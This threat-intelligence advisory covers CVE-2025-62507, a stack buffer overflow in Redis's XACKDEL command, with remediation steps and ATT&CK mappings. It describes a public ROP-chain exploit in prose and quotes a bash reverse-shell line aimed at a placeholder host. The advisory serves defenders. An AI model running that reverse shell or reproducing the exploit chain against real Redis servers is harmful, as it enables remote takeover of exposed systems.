CVE-2025-62507: Unauthenticated Stack-Based Buffer Overflow RCE in Redis XACKDEL Command
CVE-2025-62507 (TL-2026-1537) is a high-severity software vulnerability scored CVSS 8.8, first published 2026-07-19. It has no confirmed attribution, affects Redis Ltd. Redis, references 1 CVE (CVE-2025-62507), maps to 12 MITRE ATT&CK techniques (T1046, T1059, T1068), and is covered by 9 detection rules and 17 indicators of compromise.
Key facts for TL-2026-1537
- Threat ID
- TL-2026-1537
- Severity
- HIGH
- CVSS
- 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
- Status
- ACTIVE
- Category
- VULNERABILITY
- First published
- 2026-07-19
- Last reviewed
- 2026-07-19
- Attribution confidence
- LOW
- Motivation
- UNKNOWN
- Detection rules
- 9
- Indicators of compromise
- 17
Malware and tooling in CVE-2025-62507
Malware and tooling: Google Big Sleep, Shodan
A stack-based buffer overflow in Redis's XACKDEL command (xackdelCommand, src/t_stream.c) allows unauthenticated remote code execution on default configurations of Redis 8.2.0-8.2.2. JFrog Security Research published a working ROP-chain exploit that bypasses NX protection via mprotect() to gain shellcode execution, and identified 2,924 immediately exploitable unauthenticated Redis servers via Shodan.
How CVE-2025-62507 works
CVE-2025-62507 is a stack-based buffer overflow (CWE-787/CWE-121) rooted in improper input validation (CWE-20) in Redis's XACKDEL command, which combines Redis Streams consumer-group message acknowledgment and deletion. The xackdelCommand function parses a client-supplied list of stream IDs into a fixed-size stack array, static_ids[STREAMID_STATIC_VECTOR_LEN] (52 IDs of 16 bytes each), but never validates that the number of client-supplied IDs fits within that bound before writing into it. Supplying 53 or more attacker-controlled 128-bit stream IDs (each parsed as a milliseconds-sequence pair) overruns the buffer and overwrites adjacent stack memory, including saved registers and the function's return address, with fully attacker-controlled values.
Redis was originally credited by the vendor advisory to Google Big Sleep, Google DeepMind/Project Zero's AI-driven vulnerability discovery agent, and disclosed via GitHub Security Advisory GHSA-jhjx-x4cf-4vm8 with a fix in Redis 8.2.3. On 2026-01-14, JFrog Security Research published a full weaponized exploit chain independent of the advisory's proof-of-concept status: a Return-Oriented Programming (ROP) chain that loads rdi/rsi/rdx with a target stack address (0x7fffffffe000), a 0x20000-byte size, and PROT_READ|PROT_WRITE|PROT_EXEC flags, then returns into libc's mprotect() to make a stack region executable — bypassing NX (DEP). A subsequent CALL RSP gadget pivots execution into attacker-supplied shellcode written past the overflowed return address, in JFrog's PoC a reverse shell (`/bin/bash -c '/bin/bash -i >& /dev/tcp/[HOST]/4444 0>&1'`).
Although NVD's CVSS v3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, 8.8 HIGH) lists PR:L (low privileges), Redis enforces no authentication by default, so on out-of-the-box deployments PR:L is trivially satisfied and the flaw is effectively unauthenticated, network-exploitable RCE. Redis's own Github advisory separately scored it CVSS v4.0 7.7 (AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N). Full weaponization against a hardened target additionally requires an information-disclosure primitive to defeat ASLR and, on binaries compiled with stack-protector, a canary bypass; JFrog noted the official Redis Docker image was compiled WITHOUT -fstack-protector, making the Docker-distributed binary trivially exploitable, while Ubuntu-packaged Redis retained canary protection. Shodan enumeration by JFrog found 2,924 Redis 8.2.0-8.2.2 instances reachable with no authentication at all, plus 183,907 additional internet-facing Redis servers with authentication enabled but potentially subject to credential brute-forcing. The vendor fix (commit 5f83972188f6e5b1d6f1940218c650a9cbdf7741, released as Redis 8.2.3) replaces the fixed stack allocation with a heap reallocation path when the ID count exceeds the static vector length. As of this writing CVE-2025-62507 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog; exploitation is documented via public security research rather than confirmed in-the-wild campaigns.
MITRE ATT&CK techniques used in TL-2026-1537
Discovery
T1046 Network Service Discovery; T1082 System Information Discovery
Execution
T1059 Command and Scripting Interpreter; T1203 Exploitation for Client Execution
Privilege Escalation
T1068 Exploitation for Privilege Escalation
Command and Control
T1095 Non-Application Layer Protocol
Initial Access
T1190 Exploit Public-Facing Application
Lateral Movement
T1210 Exploitation of Remote Services
Defense Evasion
T1211 Exploitation for Stealth
Impact
T1499 Endpoint Denial of Service
Resource Development
Reconnaissance
Affected products and versions in CVE-2025-62507
- Redis Ltd. — Redis
Vulnerable versions: 8.2.0; 8.2.1; 8.2.2
Fixed in: 8.2.3
Remediation for CVE-2025-62507
Patches
- Redis 8.2.3 (fix commit 5f83972188f6e5b1d6f1940218c650a9cbdf7741)
Immediate actions
- Upgrade Redis to version 8.2.3 or later, which fixes xackdelCommand's stack overflow by reallocating on the heap for ID counts exceeding STREAMID_STATIC_VECTOR_LEN
- If upgrading is not immediately possible, restrict the XACKDEL command via Redis ACLs (e.g. ACL SETUSER default -xackdel) to block exploitation while patching is scheduled
- Enable Redis authentication (requirepass / ACL users with strong passwords) — default configurations of 8.2.0-8.2.2 have no authentication at all
Workarounds
- ACL-restrict the XACKDEL command on all users until the server can be upgraded to 8.2.3+
Longer-term hardening
- Never expose Redis directly to the public internet; restrict access to trusted internal networks/VPCs via firewall rules and security groups
- Enable Redis TLS and bind to specific interfaces rather than 0.0.0.0
- Rebuild/re-pull official Docker images compiled with -fstack-protector (JFrog found the stock Docker image lacked stack-canary protection, unlike Ubuntu-packaged Redis)
- Enable system-wide ASLR (echo 2 > /proc/sys/kernel/randomize_va_space) to raise the bar for reliable exploitation of remaining memory-corruption bugs
- Monitor Shodan/internet-exposure scans of your own IP ranges for inadvertently internet-facing Redis instances
CVEs associated with CVE-2025-62507
CVE-2025-62507
Weaknesses (CWE) in CVE-2025-62507
CWE-787, CWE-20, CWE-121
Timeline of CVE-2025-62507
- Redis 8.2.3 is released containing fix commit 5f83972188f6e5b1d6f1940218c650a9cbdf7741, which replaces the fixed-size stack array in xackdelCommand with a heap reallocation path when the client-supplied ID count exceeds STREAMID_STATIC_VECTOR_LEN, plus a regression test.
- Redis publishes GitHub Security Advisory GHSA-jhjx-x4cf-4vm8 for CVE-2025-62507, crediting discovery to Google Big Sleep (Google DeepMind/Project Zero's AI security agent) and identifying Redis 8.2.3 as the fixed version.
- Third-party vulnerability trackers SentinelOne and Tenable index CVE-2025-62507 in their vulnerability databases, cataloging the CVSS 8.8 score and affected Redis 8.2.x version range for defender visibility.
- CVE-2025-62507 is published in the National Vulnerability Database with CVSS v3.1 base score 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) and CWE-787/CWE-20/CWE-121 classifications.
- Security news outlets (securityonline.info, cybersecurity-help.cz) republish coverage of JFrog's exploit chain, framing CVE-2025-62507 as a notable case of an AI-discovered vulnerability (credited to Google Big Sleep) receiving a subsequent human-authored weaponized exploit.
- JFrog notes the official Redis Docker image was compiled without the -fstack-protector flag, making the Docker-distributed binary trivially exploitable via the overflow, whereas Ubuntu-packaged Redis retained stack-canary protection and required an additional canary-bypass step.
- JFrog's Shodan survey identifies 2,924 internet-facing Redis 8.2.0-8.2.2 instances with no authentication enabled (immediately exploitable) plus 183,907 additional internet-facing Redis servers with authentication enabled but potentially subject to credential brute-forcing.
- JFrog Security Research publishes a full weaponized exploit chain for CVE-2025-62507: a ROP chain that calls mprotect() to mark a stack region PROT_READ|PROT_WRITE|PROT_EXEC (bypassing NX), followed by a CALL RSP gadget that pivots into attacker-supplied shellcode, demonstrated with a bash reverse-shell payload.
Sources cited for CVE-2025-62507
- Dissecting and Exploiting CVE-2025-62507: Remote Code Execution in Redis
- Bug in XACKDEL may lead to stack overflow and potential RCE (GHSA-jhjx-x4cf-4vm8)
- Redis fix commit 5f83972188f6e5b1d6f1940218c650a9cbdf7741
- Redis 8.2.3 release
- NVD - CVE-2025-62507
- CVE-2025-62507: Redis RCE Vulnerability via XACKDEL
- CVE-2025-62507
- Stack-based buffer overflow in Redis - CVE-2025-62507
- AI-Discovered Flaw: Redis Flaw (CVE-2025-62507) Allows Remote Code Execution via Stack Buffer Overflow
Threats related to CVE-2025-62507
- Pre-Auth Remote Code Execution in Enterprise Network Printer Firmware via Fuzzed Management Protocol (STAR Labs Research)
- Microsoft's MDASH AI Scanning Harness Uncovers 16 Windows CVEs, Including Four Critical RCE Flaws in TCP/IP, IKEv2, Netlogon, and DNS
- CVE-2025-68670 — Pre-Authentication Stack Buffer Overflow RCE in xrdp via Crafted Client Info PDU Domain String
- Multiple Vulnerabilities in PHP (GovCERT.HK A26-07-52): Phar Symlink DoS, Bundled-libgd GIF Memory Corruption, pgsql SQL Injection, and BCMath Out-of-Bounds Write (CVE-2026-7260, CVE-2026-9672, CVE-2026-17543, CVE-2026-17544)
- QNAP QSA-26-10: Multiple Injection and Memory-Safety Vulnerabilities in QTS, QuTS hero, QuTS cloud, QVP, and File Station (CVE-2025-66273, CVE-2026-26240, and 12 others)
- Google Chrome 150.0.7871.181/.182 Patches 12 High-Severity Vulnerabilities (CVE-2026-16413 through CVE-2026-16424)
Detection coverage for TL-2026-1537
As of 2026-07-19, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1537 across Splunk SPL, Microsoft KQL and Sigma, covering 17 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.